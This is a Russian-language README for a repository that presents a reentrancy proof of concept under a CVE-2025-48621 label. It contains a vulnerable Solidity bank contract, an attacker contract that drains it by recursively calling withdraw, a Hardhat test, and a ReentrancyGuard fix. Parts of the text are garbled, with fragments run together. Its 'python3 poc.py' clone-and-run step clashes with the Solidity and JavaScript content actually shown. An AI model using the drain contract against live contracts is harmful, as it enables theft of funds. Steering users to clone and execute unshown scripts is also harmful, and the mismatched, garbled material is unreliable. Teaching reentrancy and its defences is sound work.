
POC уязвимости атаки повторного входа в смарт-контракте
smart contract reentrancy attack vulnerability 验证
Этот репозиторий содержит доказательство концепции (PoC), демонстрирующее уязвимость атаки повторного входа (reentrancy) в Ethereum смарт-контрактах. PoC включает уязвимый смарт-контракт, контракт атакующего и инструкции по воспроизведению атаки в локальной тестовой среде.
Повторный вход — распространённая уязвимость в Ethereum смарт-контрактах, при которой внешний контракт может выполнять повторные вызовы исходного контракта до завершения первого вызова, потенциально выводя средства или манипулируя состоянием. Этот PoC демонстрирует, как атакующий может использовать уязвимый контракт для кражи Ether.
Уязвимый контракт (VulnerableBank) позволяет пользователям вносить и выводить Ether. Однако он неправильно обрабатывает обновление состояния перед выполнением внешних вызовов, что делает его подверженным повторному входу. Контракт атакующего () эксплуатирует это, рекурсивно вызывая функцию для опустошения баланса Ether контракта.
Attackerwithdrawwithdraw в VulnerableBank отправляет Ether вызывающему до обновления баланса пользователя.withdraw в своей функции fallback, выводя средства контракта.Для запуска этого PoC вам понадобится:
git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
cd POC-CVE-2025-48621
python3 poc.py
Ниже приведены два контракта, используемые в этом PoC:
Этот контракт имитирует простой банк, позволяющий вносить и выводить средства, но уязвимый для повторного входа.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Vulnerable: External call before state update
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// State update after external call
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Этот контракт использует уязвимость повторного входа, рекурсивно вызывая функцию withdraw.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker {
VulnerableBank public vulnerableBank;
uint256 public constant WITHDRAW_AMOUNT = 1 ether;
constructor(address _vulnerableBankAddress) {
vulnerableBank = VulnerableBank(_vulnerableBankAddress);
}
// Initiate the attack
function attack() external payable {
require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
vulnerableBank.withdraw();
}
// Fallback function to recursively call withdraw
receive() external payable {
if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
vulnerableBank.withdraw();
}
}
// Withdraw stolen Ether to attacker's address
function withdrawFunds() external {
payable(msg.sender).transfer(address(this).balance);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Включён тестовый скрипт Hardhat для автоматизации симуляции атаки.
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack PoC", function () {
let vulnerableBank, attacker, owner, attackerAddr;
beforeEach(async function () {
// Deploy VulnerableBank
const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
vulnerableBank = await VulnerableBank.deploy();
await vulnerableBank.deployed();
// Deploy Attacker
const Attacker = await ethers.getContractFactory("Attacker");
[owner, attackerAddr] = await ethers.getSigners();
attacker = await Attacker.deploy(vulnerableBank.address);
await attacker.deployed();
// Fund VulnerableBank with 10 Ether
await owner.sendTransaction({
to: vulnerableBank.address,
value: ethers.utils.parseEther("10"),
});
});
it("should drain VulnerableBank via reentrancy", async function () {
// Initial balances
const initialBankBalance = await vulnerableBank.getBalance();
console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);
// Execute attack with 1 Ether
await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });
// Check final balances
const finalBankBalance = await vulnerableBank.getBalance();
const attackerBalance = await attacker.getBalance();
console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);
expect(finalBankBalance).to.equal(0, "Bank should be drained");
expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
});
});
Для предотвращения атак повторного входа рассмотрите следующие лучшие практики:
ReentrancyGuard от OpenZeppelin) для предотвращения рекурсивных вызовов.transfer или send: Эти методы ограничивают газ, снижая риск повторного входа.// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Update state first
balances[msg.sender] = 0;
// Then make external call
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Этот проект лицензирован под лицензией MIT — подробности см. в файле LICENSE.